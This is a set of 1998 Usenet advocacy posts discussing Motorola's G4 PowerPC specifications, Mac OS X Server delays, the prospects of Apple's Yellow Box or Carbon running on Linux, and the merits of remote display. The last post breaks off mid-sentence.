From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 16 Oct 1998 14:23:06 GMT
Organization: University of Maryland, College Park
Message-ID: <707ksa$n6$1@hecate.umd.edu>
References: <705opt$5ms@newsb.netnews.att.com> <jc1-1510982232450001@ip169.austin9.tx.pub-ip.psi.net> <707jgm$8h1@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
: Jim Conner <jc1@mindspring.com> wrote:
: >gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
: >
: >> f. 0.2micron, copper process, 83mm * 83 mm die, 10.5 million transistors
: >> < 8W at 400 MHz.
: >
: >Regarding the die size, you are perhaps confusing the G4 with Intel chips. ;)
: >
: >Try 83 mm^2 for size instead.
: >
: >Jim Conner
: You are probably right. However, the UK vnu|net article writes :
: Quote : Based on a 0.2 micron copper interconnect technology, the
: G4 crams 10.5 million transistors onto a 83 mm x 83 mm die, and
: consumes less than 8 watts of power at 400 MHz."
: I suppose it is a typo and should read 83 mm x mm.
Yes Jim is right. 83mm * 83 mm would be 6889 mm^2. You can build a
monster of a system if you had that much area. Ofcourse you can probably
only make about 3 or 4 chips per wafer......
The mag is wrong. Funny typo though.
: -arun gupta
--
davewang@kagututi.kecl.ntt.co.jp.meaningless
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 16 Oct 1998 14:29:50 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <707l8u$8li@newsb.netnews.att.com>
References: <705opt$5ms@newsb.netnews.att.com> <jc1-1510982232450001@ip169.austin9.tx.pub-ip.psi.net>
Originator: gupta@tlctest
Another story on Motorola's presentation at the Microprocessor Forum
has turned up :
http://www.emediaweekly.com/1998/10/12/forum.html
The additional information that this story has is :
"Reed said even without AltiVec, applications will see significant
performance improvements because of the processor's greater bandwidth.
But to drive home the advantages of AltiVec, Reed said that
compared with a similar-speed G3 process, a test system running
an AltiVec-equipped 400-MHz G4 chip, with a 2-Mbyte cache running
at half the processor speed, produced an elevenfold speed increase
on image processing and a fifteenfold acceleration on other data-
intensive computations."
"In addition, the G4 is being designed to perform symmetric
multi-processing (the current G3 is not optimized for multiprocessing)
and like the G3 will include power-saving modes tailored for mobile
computing."
****
Speculation mode on :
The 32-bit Motorola G4 PowerPC implementations will probably not
compete with the upcoming AMD K7, Alpha in the server market (based
on the announced specifications ); I think that that will be left
for IBM (and 64-bit PowerPC processors).
But perhaps Apple can use Motorola's G4s to carve out a mobile
computing niche and another iMac-like computer niche for itself,
where x86 cannot compete. Perhaps SMP MacOS X + G4 configurations
for servers may also be viable.
-arun gupta
From: dfevans@bbcr.uwaterloo.ca (David Evans)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT museum (was Re: NEWS.COM article on CPU marketshare)
Date: 16 Oct 1998 14:07:01 GMT
Organization: University of Waterloo
Message-ID: <908546821.201072@watserv4.uwaterloo.ca>
References: <361A8410.B34ABC12@ericsson.com> <SCOTT.98Oct14140536@slave.doubleu.com> <706215$fim$1@news.apple.com> <7074fg$5ke$1@bartlet.df.lth.se>
Cache-Post-Path: watserv4.uwaterloo.ca!unknown@bcr11.uwaterloo.ca
In article <7074fg$5ke$1@bartlet.df.lth.se>,
Christian Brunschen <cb@bartlet.df.lth.se> wrote:
>how difficult would it be
>for someone to shoot a little QuickTime video clip of the machines in
>question,
If Apple's IP rules are anything like most other companies', very would be
my guess.
--
David Evans (NeXTMail/MIME OK) dfevans@bbcr.uwaterloo.ca
Computer/Synth Junkie http://bbcr.uwaterloo.ca/~dfevans/
University of Waterloo "Default is the value selected by the composer
Ontario, Canada overridden by your command." - Roland TR-707 Manual
From: Simon Kinahan <simonk@cadence.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Apple as Linux vendor
Date: Fri, 16 Oct 1998 16:01:45 +0100
Organization: Cadence Design System, Inc.
Message-ID: <36275FD9.8C6A7B8C@cadence.com>
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <gmgraves-0510981119560001@sf-usr1-32-160.dialup.slip.net> <keyes-ya02408000R0510981738490001@news> <gmgraves-0510982055390001@sj-pm4-9-169.dialup.slip.net> <6vr3b4$gv0$1@nnrp03.primenet.com> <FIiROLCWddLd-pn2-02PrLskVRerX@localhost> <3622e542.417730905@enews.newsguy.com> <FIiROLCWddLd-pn2-WRh9Q3skKThg@localhost> <keyes-ya02408000R1310981506290001@news> <slrn727bpq.lcs.jedi@dementia.mishnet> <adtF0u3v1.G0C@netcom.com> <slrn72ai2f.6lv.jedi@dementia.mishnet> <adtF0uM5o.GJA@netcom.com> <charles.bouldin-1410982335480001@192.168.0.1> <FIiROLCWddLd-pn2-ETkSuWN3LDd9@localhost>
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taiQ wrote:
> > There is an interesting piece on www.mackido.com that is sure to raise the
> > hackles of any good linux user, but it contains an interesting notion:
>
> Yeah. :^) It was clearly targeted towards Mac OS users only but the
> news spread and it became a topic of discussion over at slashdot.org
> and many Linux users were (quite justifiably) incensed by the tone.
> Not a good way to gain friends, IMHO.
I thought the tone was quite fun myself, (speaking as a Linux user). Some
parts were factually incorrect, but most of the serious point were fair
enough, and the author seems to sympathise with where many Linux users are
coming from.
> Anything that would splinter the focus away from GNOME (ambitious
> object model for the Linux kernel) or KDE (currently clouded with
> restrictive licencing issues) would do a disservice to whole Linux
> movement. Yellow Box could be fitted to run above GNOME, not as a
> replacement, and Apple would gain goodwill by participating in GNOME
> development. Also, Yellow Box is (supposedly) the future, while
> Carbon... eh, wouldn't folks really prefer to get a slimmer, fully
> functional Mac OS X without any classic APIs or revisions bloating the
> system - I mean, after Carbon has lived up its useful, transitional
> life?
I agree about Gnome and KDE, but I think you're wrong that Yellow Box would
be better than Carbon (although it would also be good, especially since the
source code to the proprietary additions could be added to GnuStep). The
main point of Carbon seems to be that most MacOS developers told Apple
where to go when they were told they were going to have to rewrite their
apps. There is a large base of MacOS software after all.
Simon
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X server delays
Date: Fri, 16 Oct 1998 11:22:36 -0400
Organization: Anderson Financial Systems Inc.
Message-ID: <707oc4$dmq@shelob.afs.com>
References: <6vhtq2$r5o$1@nnrp1.dejanews.com> <alex-0810981011500001@cs48-149.austin.rr.com> <361D0F2A.22B8@earthlink.net> <alex-0910981100530001@cs48-17.austin.rr.com> <6vssuu$9n2$1@wbnws01.ne.highway1.com> <6vtl94$irm$1@msunews.cl.msu.edu> <alex-1410981457570001@cs48-8.austin.rr.com> <707ivu$fq9$1@nnrp1.dejanews.com>
spagiola@my-dejanews.com wrote:
>under NeXTSTEP, you can get at files:
>-- By clicking on folders or files in the File Viewer's shelf.
MOSXS does NOT have a shelf. Instead, you're supposed to use the Workspace
as a parking place. I much prefer the built-in shelf. Because as Alex said,
if your files are well organized, 5 or 6 "memorized" locations is generally
enough.
I also really really really wish MOSXS (and OPENSTEP, for that matter)
supported the equivalent of cut/copy/paste *keystrokes* in the file viewer,
just like the Windows Explorer. In general, I think Explorer is a piece of
crap (tree-views are among the worst possible mechanisms for displaying
hierarchical filesystems, don't get me started), but I do like being able to
select a set of files, press Ctrl-C, click a new location in a divergent
path in the same viewer, then simply press Ctrl-V to paste a copy.
Greg
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: S3 ex-Exponential Patents in Merced dispute
Date: Fri, 16 Oct 1998 10:53:53 -0500
Organization: Ericsson North America Inc.
Message-ID: <36276C11.7B75C791@ericsson.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
http://www.zdnet.com/zdnn/stories/zdnn_smgraph_display/0,4436,2150374,00.html
I wonder if anyone noticed this article, which says that S3 (who bought
Exponential's patents for $10 million last year) is in negotiations with
Intel over possible patent-infringement associated with Merced
development.
A long-dormant but long-expected issue that has finally resurfaced. It
will be interesting to see what comes of it. I have heard rumblings of
S3's interest in joining the CPU fray. One possible resolution would
involve an Merced license for S3, which could widen the processor's
appeal and reduce its eventual price.
MJP
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Apple as Linux vendor
Content-Type: text/plain; charset=us-ascii
Message-ID: <F0xG4H.5Co@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: simonk@cadence.com
Organization: My ISP puts something here if I don't.
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news>
<gmgraves-0510981119560001@sf-usr1-32-160.dialup.slip.net> <keyes-ya02408000R0510981738490001@news>
<gmgraves-0510982055390001@sj-pm4-9-169.dialup.slip.net> <6vr3b4$gv0$1@nnrp03.primenet.com>
<FIiROLCWddLd-pn2-02PrLskVRerX@localhost> <3622e542.417730905@enews.newsguy.com>
<FIiROLCWddLd-pn2-WRh9Q3skKThg@localhost> <keyes-ya02408000R1310981506290001@news>
<slrn727bpq.lcs.jedi@dementia.mishnet> <adtF0u3v1.G0C@netcom.com>
<slrn72ai2f.6lv.jedi@dementia.mishnet> <adtF0uM5o.GJA@netcom.com>
<charles.bouldin-1410982335480001@192.168.0.1> <FIiROLCWddLd-pn2-ETkSuWN3LDd9@localhost>
<36275FD9.8C6A7B8C@cadence.com>
Mime-Version: 1.0
Date: Fri, 16 Oct 1998 15:53:04 GMT
In <36275FD9.8C6A7B8C@cadence.com> Simon Kinahan wrote:
> taiQ wrote:
> > > There is an interesting piece on www.mackido.com that is sure to
> raise the
> > > hackles of any good linux user, but it contains an interesting notion:
Does anyone have a URL direct to the article?
> > Anything that would splinter the focus away from GNOME (ambitious
> > object model for the Linux kernel) or KDE (currently clouded with
> > restrictive licencing issues) would do a disservice to whole Linux
> > movement. Yellow Box could be fitted to run above GNOME, not as a
> > replacement, and Apple would gain goodwill by participating in GNOME
> > development. Also, Yellow Box is (supposedly) the future, while
> > Carbon... eh, wouldn't folks really prefer to get a slimmer, fully
> > functional Mac OS X without any classic APIs or revisions bloating the
> > system - I mean, after Carbon has lived up its useful, transitional
> > life?
YB could be fitted above practically anything, but there are serious
gains to be made by making it "direct". More importantly GNOME doesn't
show any real signs of being "ready" any time soon, and attaching YB over
it's object model sounds like a really bad idea to me.
Maury
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS is late
Date: 16 Oct 1998 14:46:05 GMT
Organization: Primenet (602)416-7000
Message-ID: <707m7d$bma$1@nnrp02.primenet.com>
References: <6vkvvk$886$1@wbnws01.ne.highway1.com> <6vlct5$n66$1@nnrp1.dejanews.com> <6vopcb$1p8@news1.panix.com> <36228820.434A@earthlink.net> <6vvqfl$qfl@shelob.afs.com> <FE7C55DE5ABCFEBB.5AFB02838ABD3140.095ED5AEA6ABAEA1@library-proxy.airnews.net>
Web Mayfield <web@airmail.net> wrote:
: They're just keeping mum about OS X Server because they want everybody's
: attention focused on Mac OS 8.5. I wouldn't be surprised to see Rhapsody
: released with almost no fanfare. There will probably be more pub about WO4
: than Rhapsody or Yellow Box.
For those who believed in "stealth development", we now have "stealth
release" ?
John
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Apple as Linux vendor
Date: Fri, 16 Oct 1998 17:03:02 GMT
Organization: Airnews.net! at Internet America
Message-ID: <207A02D2B54E3A1B.58E2A205C673B1A2.643B2BC0FCE30B10@library-proxy.airnews.net>
References: <FIiROLCWddLd-pn2-02PrLskVRerX@localhost> <3622e542.417730905@enews.newsguy.com> <FIiROLCWddLd-pn2-WRh9Q3skKThg@localhost> <keyes-ya02408000R1310981506290001@news> <slrn727bpq.lcs.jedi@dementia.mishnet> <adtF0u3v1.G0C@netcom.com> <slrn72ai2f.6lv.jedi@dementia.mishnet> <adtF0uM5o.GJA@netcom.com> <charles.bouldin-1410982335480001@192.168.0.1> <FIiROLCWddLd-pn2-ETkSuWN3LDd9@localhost> <36275FD9.8C6A7B8C@cadence.com> <F0xG4H.5Co@T-FCN.Net> <362770CF.A5D012A6@ericsson.com>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library3
NNTP-Posting-Time: Fri Oct 16 11:55:45 1998
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On Fri, 16 Oct 1998 11:14:07 -0500, Michael Peck
<Michael.Peck@ericsson.com> wrote:
>Maury Markowitz wrote:
>
>> Does anyone have a URL direct to the article?
>
>http://www.MacKiDO.com/Opinion/AppleLinux.html
>
>> YB could be fitted above practically anything, but there are serious
>> gains to be made by making it "direct".
>
>The simplest and most effective solution is to place a quality YB
>implementation directly on top of the OS. The major twist is the fact
>that Apple has burned its DPS bridges, making an XDPS backend impossible
>without licensing fees (fees which many of us would gladly pay, both as
>users and as developers with a product to distribute). There is a weaker
>XDGS option.
>
>Alternatively, Apple could create its own XQDe backend. The fact that
>this is the only solution that makes solid sense firmly convinces me
>that Linux YB isn't going to happen anytime soon.
>
>> More importantly GNOME doesn't
>> show any real signs of being "ready" any time soon, and attaching YB over
>> it's object model sounds like a really bad idea to me.
>
>It is. Building on GNOME makes such little sense that I can't imagine
>it's being seriously discussed within Apple. As little faith as I have
>in Apple, they could build a GNOME replacement in less than a month,
>assuming they wanted such a thing. And it would probably actually work,
>too...
Because of Linux's inate "freeness," the people who are going to make
real money off of it will be doing something else--be it hardware,
better GUI, better install, or whatever.
Would Yellow Box make Linux install easier?
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of the majority, it is time
to reform." -- Mark Twain
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS is late
Date: 16 Oct 1998 17:47:20 GMT
Organization: MiscKit Development
Message-ID: <7080r8$s7j$1@news.xmission.com>
References: <6vkvvk$886$1@wbnws01.ne.highway1.com> <6vlct5$n66$1@nnrp1.dejanews.com> <6vopcb$1p8@news1.panix.com> <36228820.434A@earthlink.net> <6vvqfl$qfl@shelob.afs.com> <FE7C55DE5ABCFEBB.5AFB02838ABD3140.095ED5AEA6ABAEA1@library-proxy.airnews.net> <707m7d$bma$1@nnrp02.primenet.com>
NNTP-Posting-Date: 16 Oct 1998 17:47:20 GMT
John Jensen <jjens@primenet.com> wrote:
> Web Mayfield <web@airmail.net> wrote:
> : They're just keeping mum about OS X Server because they want everybody's
> : attention focused on Mac OS 8.5. I wouldn't be surprised to see Rhapsody
> : released with almost no fanfare. There will probably be more pub about
WO4
> : than Rhapsody or Yellow Box.
>
> For those who believed in "stealth development", we now have "stealth
> release" ?
NeXT was famous for it's "stealth marketing", which eventually turned into
demarketing...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
From: bmeyer@bruce.cs.monash.edu.au
Newsgroups: alt.religion.computers,comp.os.ms-windows.nt.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Next generation Amigas
Organization: This is innd taking over...
Message-ID: <70896d$l6e$1@wombat.cs.monash.edu.au>
References: <3600BD32.34DE@dusknet.dyn.ml.org> <F05tCw.AxD.0.hotlips@GTS.Net> <3614AC4D.3A0C5E0A@mindless.com> <3615a9f9.0@news.iglou.com> <6v6uid$6fc$1@sue.cc.uregina.ca> <6v8vr0$t2k$1@spitting-spider.aracnet.com>
Date: Fri, 16 Oct 1998 16:13:58 GMT
NNTP-Posting-Date: Sat, 17 Oct 1998 02:13:58 EST
Clancy Dalebout <fleegix@shell2.aracnet.com> writes:
>I heard it in the wind that the "MMC" will be a Transmeta
>chip. Probably just a rumor.
Obviously --- Transmeta is, after all, a well known company, a household
name, although people usually don't associate them with processors.
Bernie
--
============================================================================
"It's a magical world, Hobbes ol' buddy...
...let's go exploring"
Calvin's final words, on December 31st, 1995
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-SXsHZPje1VLd@localhost>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple as Linux vendor
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <gmgraves-0510981119560001@sf-usr1-32-160.dialup.slip.net> <keyes-ya02408000R0510981738490001@news> <gmgraves-0510982055390001@sj-pm4-9-169.dialup.slip.net> <6vr3b4$gv0$1@nnrp03.primenet.com> <FIiROLCWddLd-pn2-02PrLskVRerX@localhost> <3622e542.417730905@enews.newsguy.com> <FIiROLCWddLd-pn2-WRh9Q3skKThg@localhost> <keyes-ya02408000R1310981506290001@news> <slrn727bpq.lcs.jedi@dementia.mishnet> <adtF0u3v1.G0C@netcom.com> <slrn72ai2f.6lv.jedi@dementia.mishnet> <adtF0uM5o.GJA@netcom.com> <charles.bouldin-1410982335480001@192.168.0.1> <FIiROLCWddLd-pn2-ETkSuWN3LDd9@localhost> <36275FD9.8C6A7B8C@cadence.com>
MIME-Version: 1.0
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Content-Transfer-Encoding: quoted-printable
Date: 16 Oct 1998 20:50:10 GMT
Organization: IBM.NET
On Fri, 16 Oct 1998 15:01:45, Simon Kinahan <simonk@cadence.com>
thought aloud:
> taiQ wrote:
> > > There is an interesting piece on www.mackido.com that is sure to raise the
> > > hackles of any good linux user, but it contains an interesting notion:
See <http://www.MacKiDO.com/Opinion/AppleLinux.html> for a suggestion
about Mac OS (Carbon) APIs for Linux...
[snip]
> > Anything that would splinter the focus away from GNOME (ambitious
> > object model for the Linux kernel) or KDE (currently clouded with
> > restrictive licencing issues) would do a disservice to whole Linux
> > movement. Yellow Box could be fitted to run above GNOME, not as a
> > replacement, and Apple would gain goodwill by participating in GNOME
> > development. Also, Yellow Box is (supposedly) the future, while
> > Carbon... eh, wouldn't folks really prefer to get a slimmer, fully
> > functional Mac OS X without any classic APIs or revisions bloating the
> > system - I mean, after Carbon has lived up its useful, transitional
> > life?
>
> I agree about Gnome and KDE, but I think you're wrong that Yellow Box would
> be better than Carbon (although it would also be good, especially since the
> source code to the proprietary additions could be added to GnuStep). The
I could imagine the GNUStep guys being happy if Apple took over...
;-)
> main point of Carbon seems to be that most MacOS developers told Apple
> where to go when they were told they were going to have to rewrite their
> apps. There is a large base of MacOS software after all.
I believe Apple would've preferred quicker migration to YB; after all,
the original strategy didn't go beyond Blue Box. It was largely
created to please the Mac/Windows crossplatform behemoth ISVs who
didn't want to start using YB "from scratch". YB/Linux would make
Yellow Box development more attractive to developers while
Carbon/Linux could actually stall the migration altogether if Carbon
remains (eh, becomes) the more popular API. While Carbonizing makes
"tuned" Mac OS apps finally run the way gods originally intended, YB
still has further benefits.
Such API migrations can't stretch over too long period or OS/2-ish
fate follows. As we all know, OS/2 had windoze 3.x support that was
better than microsoft's own, i.e. win3.x sessions in either fullscreen
or seamless session under OS/2 ran faster than under MS-win3.x. In
case of windoze crashing OS/2 would still keep going... This was
pretty cool in early nineties, except the "too-good" win3.x support
(OK, and the good ol' MS FUD) kept native OS/2 support from ever
gaining ground. ISVs: "But you can run the windoze version alright,
can't you?" OK, it's not exactly the same with Carbon/YB situation,
but a reminder that these API transitions are precarious business and
the opportunity-windows come and go, especially for the underdog...
Brgds,
--
taiQ
[this space is intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-CkcI6L9GcQM0@localhost>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple as Linux vendor
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0xG4H.5Co@T-FCN.Net>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 16 Oct 1998 20:50:20 GMT
Organization: IBM.NET
On Fri, 16 Oct 1998 15:53:04, maury@remove_this.istar.ca (Maury
Markowitz) thought aloud:
> > > Anything that would splinter the focus away from GNOME (ambitious
> > > object model for the Linux kernel) or KDE (currently clouded with
> > > restrictive licencing issues) would do a disservice to whole Linux
> > > movement. Yellow Box could be fitted to run above GNOME, not as a
> > > replacement, and Apple would gain goodwill by participating in GNOME
> > > development. Also, Yellow Box is (supposedly) the future, while
> > > Carbon... eh, wouldn't folks really prefer to get a slimmer, fully
> > > functional Mac OS X without any classic APIs or revisions bloating the
> > > system - I mean, after Carbon has lived up its useful, transitional
> > > life?
>
> YB could be fitted above practically anything, but there are serious
> gains to be made by making it "direct". More importantly GNOME doesn't
> show any real signs of being "ready" any time soon, and attaching YB over
> it's object model sounds like a really bad idea to me.
What would be involved with making it "direct" and what would be the
benefits? And would YB apps still play well GNOME-based apps?
IIRC GNOME is expected to go "1.0" by early or mid next year. In what
respects do you find the GNOME model lacking? It's only at v0.30 now
but already being used and liked by a number of Linux users and looks
set to become a mainstream component in Linux distro's next year. IMO
it would be quite insensitive for Apple to just ignore GNOME as
unready or inferior. After all, GNOME is an open source project and
Apple's participation would no doubt be welcome on that front.
Brgds,
--
taiQ
[this space is intentionally blank]
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Apple as Linux vendor
Date: Fri, 16 Oct 1998 15:47:01 -0500
Organization: Ericsson North America Inc.
Message-ID: <3627B0C5.F6B476BD@ericsson.com>
References: <FIiROLCWddLd-pn2-02PrLskVRerX@localhost> <3622e542.417730905@enews.newsguy.com> <FIiROLCWddLd-pn2-WRh9Q3skKThg@localhost> <keyes-ya02408000R1310981506290001@news> <slrn727bpq.lcs.jedi@dementia.mishnet> <adtF0u3v1.G0C@netcom.com> <slrn72ai2f.6lv.jedi@dementia.mishnet> <adtF0uM5o.GJA@netcom.com> <charles.bouldin-1410982335480001@192.168.0.1> <FIiROLCWddLd-pn2-ETkSuWN3LDd9@localhost> <36275FD9.8C6A7B8C@cadence.com> <F0xG4H.5Co@T-FCN.Net> <362770CF.A5D012A6@ericsson.com> <207A02D2B54E3A1B.58E2A205C673B1A2.643B2BC0FCE30B10@library-proxy.airnews.net>
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Sheldon Gartner wrote:
> Because of Linux's inate "freeness," the people who are going to make
> real money off of it will be doing something else--be it hardware,
> better GUI, better install, or whatever.
I don't doubt it.
> Would Yellow Box make Linux install easier?
Probably, but it seems like using a sledgehammer to kill a proverbial
fly. In any case, you couldn't get to Yellow Box tools, anyway, until
you'd been able to bootstrap a basic OS install on the user's hard disk.
You could always run a live filesystem off of the installation media,
but in that case why bother using Linux/YB in the first place? You could
use just about anything you wanted (another existing YB implementation,
for instance).
I think that when people talk about Linux "installation" what they
really mean is post-install configuration. In that case, yes, Yellow Box
would provide a nice substrate for configuration tools, but what you're
really looking for is an OPENSTEP-alike. And if you're going to talk
about using OPENSTEP tools for configuration, why not talk about using
them on a permanent basis, long past the configuration step?
MJP
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Apple as Linux vendor
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Cc: Michael.Peck@ericsson.com
Organization: My ISP puts something here if I don't.
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<gmgraves-0510981119560001@sf-usr1-32-160.dialup.slip.net> <keyes-ya02408000R0510981738490001@news>
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<362770CF.A5D012A6@ericsson.com>
Mime-Version: 1.0
Date: Fri, 16 Oct 1998 19:01:02 GMT
In <362770CF.A5D012A6@ericsson.com> Michael Peck wrote:
> http://www.MacKiDO.com/Opinion/AppleLinux.html
Danka. Nothing we haven't talked about in the various groups in the past
though.
> The simplest and most effective solution is to place a quality YB
> implementation directly on top of the OS.
Yes.
> Alternatively, Apple could create its own XQDe backend.
I believe they have to, as a part of the QT system. IE, they're porting
to windows anyway, so...
> this is the only solution that makes solid sense firmly convinces me
> that Linux YB isn't going to happen anytime soon.
How so?
> It is. Building on GNOME makes such little sense that I can't imagine
> it's being seriously discussed within Apple.
I doubt it has been - was someone suggesting they _should_ do this, or
that they were actually considering it?
Maury
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Press reports of Apple's profits
Date: Fri, 16 Oct 1998 17:15:06 -0500
Organization: Ericsson North America Inc.
Message-ID: <3627C56A.A5A01466@ericsson.com>
References: <3626A8A1.A166967B@nstar.net> <708brr$1l5u$1@piglet.cc.uic.edu>
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Anil T Maliyekke wrote:
> While X Windows support might be nice, it would be preferable if
> Mac OS X had the capability for remote display of Mac OS X
> programs included. There aren't that many X windows applications out there
> that you would really want to run over a network unfortunately, except
> maybe some server management apps.
How about a good example of why remotability is a good idea?
Cast:
Bob, an office worker
Bob2, who works across the cubicle wall
Act One
Bob: Hey, look at this cool picture!
Bob2: [clomp clomp clomp clomp clomp clomp clomp clomp clomp clomp]
Cool!
[clomp clomp clomp clomp clomp clomp clomp clomp clomp clomp]
Act Two
Bob: Hey, Bob2, take a look at this cool picture! [type type type]
Bob2: Cool!
Curtain
On a more practical note, have you ever used a code-revision management
tool? Something like ClearCase? Do you have any idea what it's like to
manage a network of ClearCase-installed workstations? How about SNiFF+?
Personally, I'd rather run a graphical development client over the
network (but have the files local to the client) than mount an remote
NFS volume (but have snappy GUI performance). Have you ever compiled a
large project with objects linked over ethernet? Take a long lunch. My
compiles are I/O-bound as it is (with SCSI 3 disks). Come to think of
it, almost everything I do is I/O-bound.
I develop for Linux from a Solaris workstation because the Linux boxes
are in the server room and the workstation is on my desk. I have all of
the speed of the Linux server on my desk but I'm not in the server room.
I run SNiFF+, XEmacs, DDD, Perl, Qt, everything I want directly on my
Linux servers. I also get my Solaris-only tools, like WinDD and
FrameMaker. Also on my desktop.
In effect, I have a thin client on my desktop with network access to
almost any server in the building. As NT creeps into our organization,
I'm going to begin to lose that, as the company begins spending money on
horsepower where it's not needed -- on the desktop -- to the detriment
of areas where it *is* needed -- on development servers. Won't it be a
wonderful day when I have this huge hard disk in my desktop machine to
store a massive operating system and its associated needless and
redundant applications?
Bottom line, in an enterprise setting, you're going to be using data
files that doesn't come from your hard drive. Now, which would you
rather send over the network: the graphical feedback from apps running
local to the data? Or the data itself? Or course it's the vogue to
despise thin clients, but stop and think about this for just a moment.
> CAD and other high end
> graphics intesive applications are likely not worth remote displaying.
> However, if you were talking about X Windows support for the purpose
> of porting applications over, that would be nice.
Yes.
> However, it would
> be a mixed blessing unless vendors eventually port to native
> Mac OS X APIs, just so they can create a consistent looking application
> and integrate properly with the rest of the working environment.
Rootless X Windows apps decorated by MacOS X. What's inconsistent? If
Carbon and YB can co-exist, so can Carbon and Qt or Carbon and Motif
2.0.
> I don't think getting next rendered movie rendered on Apple hardware
> would do much good.
Of course not, no practical good, anyway. That's not the point. The
point is what it says about both Jobs and Apple.
> But I think Oracle and Lotus have expressed
> interest in porting software to Mac OS X/Rhapsody.
[...]
> While it may allow UNIX integration and compliance, it still isn't
> built like UNIX.
I'm not sure what this means, exactly.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Apple as Linux vendor
Date: Fri, 16 Oct 1998 14:27:09 -0500
Organization: Ericsson North America Inc.
Message-ID: <36279E0D.7202A397@ericsson.com>
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news>
<gmgraves-0510981119560001@sf-usr1-32-160.dialup.slip.net> <keyes-ya02408000R0510981738490001@news>
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<FIiROLCWddLd-pn2-02PrLskVRerX@localhost> <3622e542.417730905@enews.newsguy.com>
<FIiROLCWddLd-pn2-WRh9Q3skKThg@localhost> <keyes-ya02408000R1310981506290001@news>
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<slrn72ai2f.6lv.jedi@dementia.mishnet> <adtF0uM5o.GJA@netcom.com>
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<36275FD9.8C6A7B8C@cadence.com> <F0xG4H.5Co@T-FCN.Net>
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Maury Markowitz wrote:
> Danka. Nothing we haven't talked about in the various groups in the past
> though.
That was my reaction, too. We never really discussed taking Carbon
cross-platform, but I guess I always figured it was a dumb idea for
somewhat obvious reasons.
[cut]
> > Alternatively, Apple could create its own XQDe backend.
>
> I believe they have to, as a part of the QT system. IE, they're porting
> to windows anyway, so...
Ah, that's pretty interesting.
> > this is the only solution that makes solid sense firmly convinces me
> > that Linux YB isn't going to happen anytime soon.
>
> How so?
Well, if they really have done it already, then I would have to take
this back. I think prospects for a Linux YB are still dismal, but that's
at least one major technical hurdle that otherwise would have provoked
cries of "Apple doesn't have time for that!"...
> I doubt it has been - was someone suggesting they _should_ do this, or
> that they were actually considering it?
Dunno; I saw it brought up, I think as pure speculation. At this point,
I'm sticking to my recommendation; i.e. implement the damned YB and
don't worry about how to make GNOME or KDE or any other Free Software a
component. When people ask for YB they're asking for a solid commercial
product from a credible vendor. That's what I want, and I think most
other Unix developers are pretty keen on this, too.
Since Apple's own FAQ says that MacOS X should not be considered a
"Unix" operating system, some of us want a next-gen solution without the
baby wipes and spitup bibs and, most of all, the Apple-branded hardware
playpen. It could have been a 100% Apple solution we wanted, but Apple
itself has decided that it's not going to play that way. Probably the
best thing for all concerned would have been an Apple spinoff designed
to create a market for an OPENSTEP successor and associated
